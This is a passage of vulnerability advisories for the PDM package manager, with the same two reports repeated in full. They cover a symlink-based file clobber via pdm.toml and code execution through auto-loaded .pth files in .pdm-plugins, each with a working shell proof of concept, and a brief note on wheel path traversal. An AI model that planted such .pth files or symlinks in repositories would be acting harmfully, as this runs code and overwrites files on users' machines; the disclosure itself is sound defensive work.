This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.